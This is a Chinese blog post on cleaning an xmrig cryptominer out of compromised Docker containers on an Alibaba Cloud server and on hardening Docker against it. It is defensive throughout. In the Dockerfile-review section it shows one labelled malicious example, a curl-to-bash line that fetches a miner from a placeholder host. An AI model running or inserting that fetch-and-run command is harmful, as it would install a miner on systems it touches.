【攻防篇】解決:阿里云docker 容器中自動啟動xmrig挖礦

解決:阿里云服務器docker容器被植入挖礦程序

    • **1. 緊急處理:停止挖礦進程**
      • **(1)查找并終止 `xmrig` 進程**
      • **(2)刪除惡意文件**
    • **2. 清理被感染的容器**
      • **(1)停止并刪除容器**
      • **(2)檢查鏡像是否被污染**
    • **3. 防護措施:防止再次被入侵**
      • **(1)使用最小化鏡像**
      • **(2)限制容器資源**
      • **(3)禁止容器內運行可疑進程**
      • **(4)監控容器行為**
      • **(5)避免暴露 Docker API**
    • **4. 排查入侵來源**
      • **(1)檢查 Docker 日志**
      • **(2)檢查宿主機是否被入侵**
      • **(3)檢查 Dockerfile 是否被篡改**
    • **5. 總結**

如果發現 Docker 容器內自動啟動 xmrig 挖礦程序,說明你的容器可能被入侵(通常是由于 鏡像被篡改容器內運行了惡意腳本)。以下是 排查、清理和防護措施


1. 緊急處理:停止挖礦進程

(1)查找并終止 xmrig 進程

# 進入容器
docker exec -it <容器名或ID> /bin/bash# 查找挖礦進程(xmrig、minerd、cpuminer等)
ps aux | grep -E "xmrig|minerd|cpuminer"# 強制終止進程(替換PID)
kill -9 <PID># 如果進程自動重啟,檢查定時任務或守護進程
crontab -l          # 查看定時任務
ls -la /etc/cron.*  # 檢查cron目錄
find / -name "*xmrig*"  # 查找挖礦程序路徑

(2)刪除惡意文件

# 刪除挖礦程序和相關文件
rm -rf /tmp/xmrig /var/tmp/.cache/xmrig# 檢查容器內是否有異常啟動腳本
find / -name "*.sh" | xargs grep "xmrig"  # 檢查腳本是否包含xmrig

2. 清理被感染的容器

(1)停止并刪除容器

docker stop <容器名或ID>
docker rm <容器名或ID>

(2)檢查鏡像是否被污染

# 查看所有鏡像
docker images# 如果鏡像來源不可信,刪除并重新拉取
docker rmi <惡意鏡像名>

3. 防護措施:防止再次被入侵

(1)使用最小化鏡像

  • 避免使用 latest 標簽,選擇官方受信任的鏡像(如 alpinedebian-slim)。
  • 示例:
    FROM alpine:3.18
    RUN apk add --no-cache bash
    

(2)限制容器資源

docker run 時限制 CPU 和內存,防止挖礦程序耗盡資源:

docker run --cpus 1 --memory 512m -d <鏡像名>

(3)禁止容器內運行可疑進程

使用 SeccompAppArmor 限制容器權限:

# 使用默認的Seccomp配置文件(限制危險系統調用)
docker run --security-opt seccomp=default.json -d <鏡像名>

(4)監控容器行為

  • 使用 docker stats 檢查異常 CPU/內存占用
    docker stats
    
  • 使用 FalcoSysdig 監控容器行為
    falco -r /etc/falco/falco_rules.yaml
    

(5)避免暴露 Docker API

  • 禁止遠程訪問 Docker API(默認端口 2375):
    # 修改 /etc/docker/daemon.json
    {"hosts": ["unix:///var/run/docker.sock"]
    }
    
  • 啟用 TLS 認證(防止未授權訪問)。

4. 排查入侵來源

(1)檢查 Docker 日志

journalctl -u docker | grep "error\|warning"

(2)檢查宿主機是否被入侵

  • 查看異常進程
    top -c
    
  • 檢查 SSH 登錄記錄
    grep "Accepted" /var/log/auth.log
    

(3)檢查 Dockerfile 是否被篡改

如果使用自定義鏡像,檢查 Dockerfile 是否包含惡意命令:

# 惡意示例(可能隱藏在RUN命令中)
RUN curl -sL https://malicious.site/xmrig | bash

5. 總結

步驟命令/操作
終止挖礦進程kill -9 <PID>,刪除 /tmp/xmrig
清理容器docker stop + docker rm,檢查鏡像是否安全
限制資源docker run --cpus 1 --memory 512m
監控容器docker statsFalco
加固 Docker關閉 2375 端口,使用 Seccomp/AppArmor

建議

  • 定期更新 Docker 和鏡像,避免使用來源不明的鏡像。
  • 使用 Trivy 掃描鏡像漏洞
    trivy image <鏡像名>
    
  • 啟用 Docker 日志審計,記錄所有容器操作。

如果問題仍然存在,可能需要 全面檢查宿主機重建 Docker 環境

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/87033.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/87033.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/87033.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

對稱非對稱加密,https和http,https通訊原理,Charles抓包原理

文章目錄 對稱加密的非對稱加密http和https原理TCP三次握手四次揮手https通訊流程&#xff1a;Charles抓包原理 對稱加密的非對稱加密 對稱加密&#xff1a;發送方的接收方式使用同一個秘鑰進行加密和解密&#xff0c;發送方將需要發送的數據&#xff0c;選擇某種加密算法&…

Kubernetes(K8s)_15_調度原理

文章目錄 Pod調度實現原理調度隊列優先隊列底層數據 調度緩存調度框架 Pod調度 Pod調度: 通過污點、容忍度和親和性影響Pod的調度 調度器實現, 其基于配置器構造(其配置來源于配置API)調度過程中任何插件返回拒絕, 都會導致Pod可能再次返回調度隊列 如: Pod調度簡略流程 調度…

moduo之tcp客戶端TcpClient

結構 #mermaid-svg-muvN6eOMXA4rCyXP {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-muvN6eOMXA4rCyXP .error-icon{fill:#552222;}#mermaid-svg-muvN6eOMXA4rCyXP .error-text{fill:#552222;stroke:#552222;}#merm…

中國科技術語雜志中國科技術語雜志社中國科技術語編輯部2025年第3期目錄

理論研究 認知術語學與社會認知術語學比較研究 吳小芳; 3-11 大語言模型背景下的術語翻譯研究&#xff1a;現狀、問題與展望 朱玉彬;王梓; 12-20 航空事件謠言敘事中的術語初探 劉成盼;劉東亮; 21-28 定名研討 淺談訓詁、訓詁學和訓詁學術語 林童; 29-35 …

自然語言處理NLP期末復習

目錄 第一章1. NLP的基本過程包括哪些-自然語言處理面臨的困難是什么2. 自然語言處理算法定義&#xff0c;過程和應用3. 結合自己的研究-描述研究中涉及的自然語言處理模型或算法&#xff0c;模型或算法原理&#xff0c;具體的處理過程4. 自然語言處理的的兩大核心任務是5. 程序…

單片機 - STM32F103“復用功能重映射”完整解析:從JTAG釋放到TIM重映射實戰詳解

本文將詳細講解 STM32F103 系列中常見的“復用功能重映射”&#xff08;Remap&#xff09;機制&#xff0c;包括 JTAG 占用、引腳默認功能與復用功能的關系&#xff0c;以及如何通過寄存器或標準庫代碼實現重映射。以 TIM3 在 PB4/PB5 上輸出 PWM 為例&#xff0c;進行實戰講解…

【C語言】知識總結·內存函數

目錄 前言&#xff1a; 一、內存復制函數 1. memcpy - 內存塊復制 2. memmove - 內存塊移動 二、內存設置函數 1. memset - 內存塊填充 三、內存比較函數 1. memcmp 2.memchr 三內存分配函數 1 .malloc 2.free 總結&#xff1a; 注意事項&#xff1a; 前言&…

python+uniapp基于微信小程序面向品牌會員的在線商城系統

文章目錄 具體實現截圖本項目支持的技術路線源碼獲取詳細視頻演示&#xff1a;文章底部獲取博主聯系方式&#xff01;&#xff01;&#xff01;&#xff01;本系統開發思路進度安排及各階段主要任務java類核心代碼部分展示主要參考文獻&#xff1a;源碼獲取/詳細視頻演示 ##項目…

小魚fish系統 sudo apt update報錯(密鑰失效)

在使用小魚fish提供的系統鏡像文件&#xff0c;sudo apt update系統更新時遇到了以下報錯&#xff0c;即ROS 2 倉庫的 GPG 密鑰已過期&#xff0c;以及 Docker 倉庫使用了過時的密鑰存儲方式 fishrosfishros-linux:~$ sudo apt update 獲取:1 http://mirrors.tuna.tsinghua.ed…

深度優先搜索 (DFS) 詳解

1. 什么是深度優先搜索&#xff1f; 深度優先搜索&#xff08;Depth-First Search, DFS&#xff09;是一種用于遍歷或搜索樹或圖的算法。這個算法會盡可能深地搜索樹的分支。當節點v的所在邊都已被探尋過&#xff0c;搜索將回溯到發現節點v的那條邊的起始節點。這一過程一直進…

文心4.5開源大模型的使用和部署

前言 就在今天&#xff0c;文心4.5模型開源了&#xff0c;不是一個&#xff0c;而是整個系列模型正式開源。很突然&#xff0c;我都震驚了。文心4.5系列開源模型共10款&#xff0c;涵蓋了激活參數規模分別為47B 和3B 的混合專家&#xff08;MoE&#xff09;模型&#xff08;最…

HarmonyOs開發之——TypeScript介紹、入門,及 TypeScript、JavaScript、ArkTs的具體區別解讀。

HarmonyOs開發之——TypeScript介紹、入門&#xff0c;及 TypeScript、JavaScript、ArkTs的具體區別解讀。 一、 開發語言介紹&#xff1a; TypeScript是JavaScript的超集&#xff0c;ArkTS則是TypeScript的超集。ArkTs是 HarmonyOs的主力開發語言&#xff0c;它在TypeScript…

《JMS事務性會話徹底解析:消息監聽中的 commit、rollback 和冪等設計》

大家好&#xff0c;我是G探險者&#xff01; &#x1f4cc; 場景引入 在實際項目中&#xff0c;我們常常面臨以下挑戰&#xff1a; 監聽 MQ 消息失敗了&#xff0c;希望自動重試&#xff1f;消費 MQ 消息后&#xff0c;要寫數據庫&#xff0c;但中間報錯了&#xff1f;消息處…

vue3 el-table 列增加 自定義排序邏輯

在 Vue 3 中使用 Element Plus 的 <el-table> 組件時&#xff0c;如果你想增加自定義排序邏輯&#xff0c;可以通過以下幾個步驟實現&#xff1a; 1. 使用 default-sort 屬性 首先&#xff0c;你可以在 <el-table> 組件上使用 default-sort 屬性來指定默認的排序…

ISP Pipeline(7): Gamma Correction 伽馬校正

AI_Plays/ISP/Fast_ISP_Progress.ipynb at main ameengee/AI_Plays GitHub Gamma Correction&#xff08;伽馬校正&#xff09;是圖像處理中的一個重要步驟&#xff0c;目的是調整圖像的亮度&#xff0c;使其更符合人眼的感知或顯示設備的特性。 為什么需要 Gamma Correcti…

AI提取伴奏,實現卡拉OK效果 —— 「suno api/luno api/kuka api」

導讀 喜歡唱歌&#xff0c;卻總苦于找不到純凈的伴奏&#xff1f;或者你想把喜歡的歌曲翻唱一遍&#xff0c;卻被人聲干擾搞得頭大&#xff1f;現在&#xff0c;AI技術已經悄悄解決了這個問題。借助AI智能工具&#xff0c;你可以輕松提取任何一首歌的伴奏&#xff0c;享受宛如…

pip介紹

pip是什么&#xff1f; pip&#xff08;Pip Installs Packages&#xff09;是Python的官方管理工具&#xff0c;用于安裝、升級、卸載和管理Python第三方庫及其依賴關系。它是Python生態系統的核心組件&#xff0c;通過連接PyPI&#xff08;Python Package Index&#xff09;這…

機器學習20-線性網絡思考

機器學習20-線性網絡思考 針對線性網絡的基礎問題&#xff0c;使用基礎示例進行解釋 1-核心知識點 1-線性模型家族的線性回歸和邏輯回歸分別是什么&#xff0c;線性模型家族還有沒有其他的模型 線性模型家族是一系列基于線性假設的統計模型&#xff0c;它們假設因變量和自變量…

【科研繪圖系列】R語言繪制世界地圖分布(world map)

禁止商業或二改轉載,僅供自學使用,侵權必究,如需截取部分內容請后臺聯系作者! 文章目錄 介紹加載R包數據下載導入數據數據預處理準備畫圖畫圖總結系統信息介紹 本教程旨在通過R語言及其相關地理空間分析包,展示如何對環境數據進行空間聚類分析,并將結果可視化。教程從讀…

Armbian 25.5.1 Noble Gnome 開啟遠程桌面功能

sudo apt install gnome-remote-desktop ----長話短說 故障表現 Ubuntu 25版本點擊遠程桌面功能沒有任何反應, WIN_20250630_00_53_24_Pro 最后 armbian 官方社區充滿了傲慢,一言不合就關閉話題,問題都沒有解決就給我關閉了 最后檢索到英文網站,說到了這么一句話,檢查遠程桌…